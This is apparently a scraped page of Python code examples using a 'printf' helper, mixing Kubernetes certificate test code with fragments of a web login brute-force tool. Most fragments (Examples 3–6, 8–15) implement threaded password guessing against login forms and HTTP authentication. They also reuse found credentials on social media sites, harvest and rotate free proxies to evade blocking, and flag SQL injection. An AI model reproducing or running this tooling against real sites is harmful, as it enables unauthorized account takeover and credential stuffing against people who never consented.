Example #1
0
def delete_managed_certificates():
    utils.printf("Delete ManagedCertificate objects")
    names, success = command.call_get_out(
        "kubectl get mcrt -o go-template='{{range .items}}{{.metadata.name}}{{\"\\n\"}}{{end}}'"
    )

    if success:
        for name in names:
            command.call("kubectl delete mcrt {0}".format(name))
Example #2
0
def get_http_statuses(domains):
    statuses = []

    for domain in domains:
        url = "https://{0}".format(domain)
        try:
            connection = urllib2.urlopen(url)
            statuses.append(connection.getcode())
        except Exception, e:
            utils.printf("HTTP GET for {0} failed: {1}".format(url, e))
        finally:
Example #3
0
	def checProxyConnProvider(url = "https://free-proxy-list.net/"):
		try:
			printf("[+] Getting proxy list from %s" %(url))

			getproxy = mBrowser(options.timeout)

			getproxy.open(url)
			printf("[*] Gathering proxies completed.", "good")
			return getproxy.response().read()

		except Exception as error:
			die("[x] GetProxy: Error while connecting to proxy server!", error)
		finally:
			getproxy.close()
Example #4
0
def submit(url, options, tryCreds, result):

    try:
        proc = startBrowser(options.timeout)

        printf("[+] Checking %s" % (url))

        proc.open(url)
        loginInfo = parseLoginForm(proc.forms())

    except Exception as err:
        if options.verbose:
            printf("[x] ReAuth: %s at %s" % (err, url), "bad")

    if not loginInfo:
        if options.verbose:
            printf("[x] ReAuth: Can't find login form at %s" % (url), "bad")
    else:
        try:
            options.url = url

            loginbrute.submit(
                # Reverse username + password. Dynamic submit in loginbrute
                options,
                loginInfo,
                tryCreds[-2:][::-1],
                result)
        except Exception as err:
            if options.verbose:
                printf("[x] ReAuth: Submitting error for %s" % (err), "bad")
Example #5
0
    def get_options(self):
        szOptions = len(sys.argv)

        if szOptions == 1:
            # NO ARGUMENT
            print_fast_help()

            printf("Use: %s for more infomation\n" % (self.HELP_OPTIONS))
            sys.exit(0)

        else:
            try:
                self.parse_options(szOptions)
            except Exception as error:
                die("[x] Options: Parse options error", error)
Example #6
0
def run(options, creds):
    social_urls = data.social_urls().replace("\t", "").split("\n")

    for url in social_urls:
        if options.url in url:
            social_urls.remove(url)

    result = Queue()
    #workers = []

    try:
        for tryCreds in creds:
            for url in social_urls:
                submit(url, options, tryCreds, result)

                # if len(workers) == options.threads:
                # 	do_job(workers)
                # 	del workers[:]

                # worker = threading.Thread(
                # 	target = submit,
                # 	args = (url, options, tryCreds, result)
                # )

                #worker.daemon = True
                #workers.append(worker)

        #do_job(workers)
        #del workers[:]

    except KeyboardInterrupt:
        printf("[x] Terminated by user!", "bad")
        import os
        os._exit(0)

    except SystemExit:
        die("[x] Terminated by system!", "SystemExit")

    except Exception as err:
        die("[x] ReAuth: Runtime error", err)

    finally:
        result = list(result.queue)

        if len(result) == 0:
            printf("[-] No extra valid password found", "bad")
        else:
            print_table(("Target", "Username", "Password"), *result)
Example #7
0
def expect_ssl_certificates(count):
    utils.printf("Expect {0} SslCertificate resources...".format(count))
    if utils.backoff(get_ssl_certificates,
                     lambda ssl_certificates: len(ssl_certificates) == count):
        utils.printf("ok")
    else:
        utils.printf("instead found the following: {0}".format("\n".join(
            get_ssl_certificates())))
Example #8
0
def getnew(options):
	def parse_proxy(response):
		try:
			re_ip = r"\b(?:\d{1,3}\.){3}\d{1,3}\b<\/td><td>\d{1,5}"
			result = re.findall(re_ip, response, re.MULTILINE)
			result = [element.replace("</td><td>", ":") for element in result]
			return result
		except Exception as error:
			die("[x] GetProxy: Error while parsing proxies.", error)
			
	def checProxyConnProvider(url = "https://free-proxy-list.net/"):
		try:
			printf("[+] Getting proxy list from %s" %(url))

			getproxy = mBrowser(options.timeout)

			getproxy.open(url)
			printf("[*] Gathering proxies completed.", "good")
			return getproxy.response().read()

		except Exception as error:
			die("[x] GetProxy: Error while connecting to proxy server!", error)
		finally:
			getproxy.close()
			

	try:
		listproxy = parse_proxy(checProxyConnProvider())
	except:
		listproxy = ""
	finally:
		try:
			listproxy = "\n".join(listproxy)
			printf("[*] Get %s proxies." %(len(listproxy)), "good")
			printf("[+] Saving to %s" %(PROXY_PATH))
			fwrite(PROXY_PATH, listproxy)
			printf("[*] Data saved!", "good")

		except Exception as error:
			die("[x] GetProxy: Error while writting data", error)
Example #9
0
	def checProxyConn(proxyAddr, target, result, verbose):
		try:
			proxyTest = mBrowser(options.timeout)
			proxyTest.set_proxies({"http": proxyAddr})

			if verbose:
				printf("[+] Trying: %s" %(proxyAddr))

			proxyTest.open(options.url)

			if verbose:
				printf("[*] Success: %s" %(proxyAddr), "good")
			result.put(proxyAddr)

		except Exception as error:
			if verbose:
				printf("[x] %s %s" %(proxyAddr, error), "bad")
		finally:
			try:
				proxyTest.close()
			except:
				pass
Example #10
0
def submit(options, loginInfo, tryCred, result):
    # if options.engine == "mechanize":
    # 	from libs.mbrowser import mBrowser as Browser
    # 	proc = Browser(options.timeout) # TODO remove here
    # elif options.engine == "selenium":
    # 	from libs.sbrowser import sBrowser as Browser
    # 	proc = Browser() # TODO remove here
    # else:
    # 	pass # ERROR
    # #	Get login form field informations

    # frmLoginID, frmFields = loginInfo
    tryPassword, tryUsername = tryCred

    # proc = Browser(options.timeout) # TODO recovery here

    # BREAK if we had valid payload?
    # if options.options["-p"] == "sqli" and len(list(result.queue)) > 1:
    # 	return True

    for cred in list(result.queue):
        if tryUsername == cred[1]:
            return True

    try:
        proc = Browser(options.timeout)
        if options.proxy:
            # Set proxy connect
            proxyAddr = randomFromList(options.proxy)
            proc.setproxy(proxyAddr)
        proc.open_url(options.login_url)
        proc.get_opts(
            options)  # TODO remove this fucntion in sbrowser and mbrowser
        _form = parseLoginForm(proc.forms())
        if not _form:
            if options.verbose:
                printf(
                    "[x] LoginBrute: No login form found. Possibly get blocked!"
                )
            return False
        else:
            frmCtrl, frmFields = _form
            frmLoginID, btnSubmit = frmCtrl
        if options.verbose and loginInfo != _form:
            printf("[+] Warning: Form field has been changed!")
        #	Select login form
        # page_title = proc.title()
        #	Send request

        #	Reload the browser. For javascript redirection and others...
        # proc.reload()
        #	If no login form -> maybe success. Check conditions
        proc.xsubmit(frmCtrl, frmFields, tryCred)
        if options.verbose:
            if options.proxy:
                printf(
                    "[+] {%s: %s; %s: %s} through %s" %
                    (frmFields[1], tryUsername, frmFields[0], tryPassword,
                     proxyAddr), 'norm')
            else:
                if len(frmFields) == 2:
                    printf(
                        "[+] {%s: %s; %s: %s}" %
                        (frmFields[1], tryUsername, frmFields[0], tryPassword),
                        'norm')
                else:
                    printf("[+] {%s: %s}" % (frmFields[0], tryPassword),
                           'norm')

        if not parseLoginForm(proc.forms()):  # != loginInfo:
            test_result = check_condition(options, proc, loginInfo)
            if test_result == 1:
                #printf("[*] Page title: ['%s']" %(proc.title()), "good")
                # "If we tried login form with username+password field"
                if tryUsername:
                    printf(
                        "[*] %s [%s]" %
                        ([tryUsername, tryPassword], proc.get_title()), "good")
                # "Else If we tried login form with password field only"
                else:
                    printf("[*] %s []" % ([tryPassword], proc.get_title()),
                           "good")
                result.put([options.url, tryUsername, tryPassword])
            elif test_result == 2 and options.verbose:
                printf("[+] SQL Injection vulnerable found")
                printf("   %s" % ([tryUsername, tryPassword]), "norm")
            else:
                # Possibly Error. But sometime it is true
                if options.verbose:
                    printf(
                        "[x] Get error page: %s" %
                        ([tryUsername, tryPassword]), "bad")
                    printf("   [x] Page title: ['%s']" % (proc.get_title()),
                           "bad")

        # "Login form is still there. Oops"
        else:
            # TODO test if web has similar text (static)
            if check_sqlerror(proc.get_resp()) and options.verbose:
                printf("[+] SQL Injection vulnerable found")
                printf("   %s" % ([tryUsername, tryPassword]), "norm")
            if options.verbose:
                if options.proxy:
                    printf(
                        "[-] Failed: %s through %s" %
                        ([tryUsername, tryPassword], proxyAddr), "bad")
                else:
                    printf("[-] Failed: %s" % ([tryUsername, tryPassword]),
                           "bad")
        return True

    except Exception as error:
        """
			Sometimes, web servers return error code because of bad configurations,
			but our cred is true.
			This code block showing information, for special cases
		"""

        try:
            # Unauthenticated
            if type(err.code) == int and err.code == 401:
                if options.verbose:
                    printf("[-] Failed: %s" % ([tryUsername, tryPassword]),
                           "bad")
            # Server misconfiguration? Panel URL is deleted or wrong
            elif error.code == 404:
                printf("[x] %s: %s" % (error, tryCred[::-1]), "bad")
                if options.verbose:
                    printf("   %s" % (proc.geturl()), "bad")
            # Other error code
            else:
                if options.verbose:
                    printf("[x] (%s): %s" % (proc.geturl(), tryCred[::-1]),
                           "bad")
        except:
            # THIS BLOCKED BY WAF
            printf("[x] Loginbrute: %s" % (error), "bad")
            return False

    finally:
        proc.close()
Example #11
0
def attack(options, loginInfo):
	def run_threads(threads, sending, completed, total):
		# Run threads
		for thread in threads:
			sending += 1 # Sending
			progress_bar(sending, completed, total)
			thread.start()

		# Wait for threads completed
		for thread in threads:
			completed += 1
			progress_bar(sending, completed, total)
			thread.join()

		return sending, completed
	### SETTING UP FOR NEW ATTACK ###
	if options.attack_mode == "--httpget":
		from modules import httpget
		attack_module = httpget.submit

	elif options.attack_mode == "--loginbrute":
		from modules import loginbrute
		attack_module = loginbrute.submit
	else:
		die("[x] Runtime error: Invalid attack mode", "%s" %(options.attack_mode))

	if not loginInfo:
		# Test for 2 steps... login?
		die("[x] Target check: URL error", "[x] No login request found")
	else:
		if options.verbose:
			printf("[*] Login request has been found!", "good")

	tasks = len(options.passwd) * len(options.username)
	printf("[+] [Tasks: %s] [ID: %s] [Controls: %s]" %(tasks, loginInfo[0], loginInfo[1][::-1]), "good")

	import Queue
	result = Queue.Queue()
	
	sending, completed = 0, 0
	try:
		#### START ATTACK ####
		workers = []

		for username in options.username:
			if "--upwd" in options.extras \
				and username not in options.passwd \
				and options.options["-p"] is not "sqli":
					options.passwd += (username,)
			for password in options.passwd:
				if len(workers) == options.threads:
					sending, completed = run_threads(workers, sending, completed, tasks)
					del workers[:]

				worker = threading.Thread(
					target = attack_module,
					args = (options, loginInfo, [password, username], result)
				)
				workers.append(worker)
				worker.daemon = True

		sending, completed = run_threads(workers, sending, completed, tasks)
		del workers[:]
			
	except KeyboardInterrupt:
		printf("[x] Terminated by user!", "bad")
		global set_break
		set_break = True

	except SystemExit:
		printf("[x] Terminated by system!", "bad")

	except Exception as error:
		die("[x] Runtime error", error)

	finally:
		credentials = list(result.queue)
		if len(credentials) == 0:
			printf("[-] No match found!", "bad")

		else:
			printf("\n[*] %s valid password[s] found:" %(len(credentials)), "norm")
			if not credentials[0][1]:
				print_table(("URL", "Password"), *[creds[::2] for creds in credentials])
			else:
				print_table(("Username", "Password"), *[creds[-2:] for creds in credentials])
			printf("")
		return credentials
Example #12
0
		reload(sys)
		sys.setdefaultencoding('utf8')

		# Get options
		options = options.ParseOptions()

		if options.help == True:
			from utils import helps
			helps.print_help()
		else:
			check_options(options)

			if "--getproxy" in options.extras:
				getproxy.getnew(options)
				if not options.target:
					printf("[*] No URL provided! Get proxy only.", "good")
					sys.exit(0)
				else:
					if not options.run_options["--proxy"]:
						printf("[-] WARNING!!! Program runs without proxy! Use \"--proxy\"!", "bad")
			if not options.target:
				die("[x] URL error", "An URL is required")

			else:
				# Fix SSL errors https://stackoverflow.com/a/35960702
				try:
					_create_unverified_https_context = ssl._create_unverified_context
				except AttributeError:
				# Legacy Python that doesn't verify HTTPS certificates by default
					pass
				else:
Example #13
0
def check_login(options):
    try:
        from libs.mbrowser import mBrowser
        # from libs.sbrowser import sBrowser

        proc = mBrowser(options.timeout)

        resp = proc.open_url(options.url)
        """
			Check URL type. If Website directs to other URL,
			options.url is website's panel
			else: it is login url.
			Example: options.url = site.com/wp-admin/ -> panel
				site directs user to wp-login -> login URL
				options.url = site.com/wp-login.php -> login URL
		"""
        if proc.geturl() != options.url:
            printf("[*] Website moves to: ['%s']" % (proc.geturl()), "norm")
            options.panel_url, options.login_url = options.url, proc.geturl()
        else:
            options.login_url = options.url

        # printf("[*] Connect success!", "good")
        options.attack_mode = "--loginbrute"
        if options.run_options["--verbose"]:
            printf("[*] %s" % (proc.get_title()), "norm")
        # printf("[+] Analyzing login form....")
        loginInfo = parseLoginForm(proc.forms())

        # Check target login page with selenium
        # jscheck = sBrowser()
        # jscheck.open_url(options.url)

        # # Convert data to mechanize to analysis form (easier)
        # r_jscheck = str(jscheck.get_resp())
        # resp.set_data(r_jscheck)
        # proc.set_response(resp)

        # # Get new info
        # js_loginInfo = parseLoginForm(proc.forms())
        # if not loginInfo and js_loginInfo:
        # 	options.engine = "selenium"
        # 	loginInfo = js_loginInfo

        return loginInfo

    except Exception as error:
        try:
            if error.code == 401:
                ## GET INFORMATION
                resp_header = str(proc.response().info())
                if "WWW-Authenticate" in resp_header:
                    loginID = checkHTTPGetLogin(resp_header)
                    loginInfo = (loginID, ["Password", "User Name"])
                    if options.verbose:
                        printf("[+] Using HTTP GET Authentication mode",
                               "norm")
                    options.attack_mode = "--httpget"
                else:
                    loginInfo = False
            else:
                loginInfo = False
                printf("[x] Target check: %s" % (error), "bad")

        # Error != http code
        except:
            loginInfo = False
            die("[x] Target check:", error)

    except KeyboardInterrupt:
        loginInfo = False

    finally:
        proc.close()
        # jscheck.close()
        return loginInfo
Example #14
0
def submit(options, loginInfo, creds, result):
	tryPassword, tryUsername = creds
	realm = loginInfo[0]
	fPassword, fUsername = loginInfo[1]
	for cred in list(result.queue):
		if tryUsername == cred[0]:
			return True # don't run if find password of username
	
	try:
		proc = mBrowser(options.timeout)
		if options.proxy:
			proxyAddr = randomFromList(options.proxy)
			proc.setproxy(proxyAddr)
		proc.httpget_passwd(options.url, tryUsername, tryPassword, realm)

		proc.open_url(options.url)
		if options.verbose:
			if options.proxy:
				printf("[+] {%s: %s; %s: %s through %s}" %(fUsername, tryUsername, fPassword, tryPassword, proxyAddr), 'norm')
			else:
				printf("[+] {%s: %s; %s: %s}" %(fUsername, tryUsername, fPassword, tryPassword), 'norm')
		printf("[*] %s [%s]" %([tryUsername, tryPassword], proc.title()), "good")
		result.put([options.url, tryUsername, tryPassword])

	except Exception as err:
		try:
			if type(err.code) == int and err.code == 401:
				if options.verbose:
					if options.proxy:
						printf("[+] {%s: %s; %s: %s through %s}" %(fUsername, tryUsername, fPassword, tryPassword, proxyAddr), 'norm')
						printf("[-] Failed: %s through %s" %([tryUsername, tryPassword], proxyAddr), "bad")
					else:
						printf("[+] {%s: %s; %s: %s}" %(fUsername, tryUsername, fPassword, tryPassword), 'norm')
						printf("[-] Failed: %s" %([tryUsername, tryPassword]), "bad")
			else:
				printf("[x] %s: %s" %(err, creds[::-1]), "bad")
		except:
			die("[x] HTTP GET:", err)
Example #15
0
def check(options):
	
	def run_threads(threads, sending, completed, total):
		# Run threads
		for thread in threads:
			sending += 1 # Sending
			progress_bar(sending, completed, total)
			thread.start()

		# Wait for threads completed
		for thread in threads:
			completed += 1
			progress_bar(sending, completed, total)
			thread.join()
		
		return sending, completed

	def checProxyConn(proxyAddr, target, result, verbose):
		try:
			proxyTest = mBrowser(options.timeout)
			proxyTest.set_proxies({"http": proxyAddr})

			if verbose:
				printf("[+] Trying: %s" %(proxyAddr))

			proxyTest.open(options.url)

			if verbose:
				printf("[*] Success: %s" %(proxyAddr), "good")
			result.put(proxyAddr)

		except Exception as error:
			if verbose:
				printf("[x] %s %s" %(proxyAddr, error), "bad")
		finally:
			try:
				proxyTest.close()
			except:
				pass
	try:
		proxylist = fread(PROXY_PATH).split("\n")
				
		workers, result = [], Queue()
		trying, completed, total = 0, 0, len(proxylist)

		for tryProxy in proxylist:
			if len(workers) == options.threads:
				trying, completed = run_threads(workers, trying, completed, total)
				del workers[:]
			
			worker = threading.Thread(
				target = checProxyConn,
				args = (tryProxy, options.url, result, options.verbose)
			)

			worker.daemon = True
			workers.append(worker)
			
		trying, completed = run_threads(workers, trying, completed, total)
		del workers[:]

	except KeyboardInterrupt as error:
		printf("[x] Terminated by user!", "bad")
		import os
		os._exit(0)
	
	except Exception as error:
		die("[x] GetProxy: Error while checking proxy connection to target", error)

	finally:
		try:
			_data = "\n".join(list(result.queue))
			printf("[*] Get %s proxies." %(len(_data)), "good")
			printf("[+] Write working proxies")
			fwrite(LIVE_PATH, _data)
			printf("[*] Write working proxies completed", "good")
		except Exception as err:
			die("[x] GetProxy: Error while writing result", err)
Example #16
0
def test(zone):
    utils.printf("Create random DNS records")

    domains = dns.create_random_domains(zone)

    command.call(
        "gcloud alpha compute ssl-certificates create user-created-certificate --global --domains example.com",
        "Create additional managed SslCertificate to make sure it won't be deleted by managed-certificate-controller"
    )

    create_managed_certificates(domains)

    command.call(
        "kubectl annotate ingress test-ingress gke.googleapis.com/managed-certificates=test1-certificate,test2-certificate"
    )

    expect_ssl_certificates(3)

    utils.printf("Wait for certificates to become Active...")
    if utils.backoff(get_managed_certificate_statuses,
                     lambda statuses: statuses == ["Active", "Active"],
                     max_attempts=50):
        utils.printf("ok")
    else:
        utils.printf(
            "statuses are: {0}. Certificates did not become Active, exiting with failure"
            .format(get_managed_certificate_statuses()))
        sys.exit(1)

    utils.printf(
        "Check HTTP return codes for GET requests to domains {0}...".format(
            ", ".join(domains)))
    if utils.backoff(lambda: get_http_statuses(domains),
                     lambda statuses: statuses == [200, 200]):
        utils.printf("ok")
    else:
        utils.printf(
            "statuses are: {0}. HTTP requests failed, exiting with failure.".
            format(", ".join(get_http_statuses(domains))))
        sys.exit(1)

    command.call(
        "kubectl delete -f {0}/deploy/ingress.yaml --ignore-not-found=true".
        format(SCRIPT_ROOT))
    delete_managed_certificates()

    expect_ssl_certificates(1)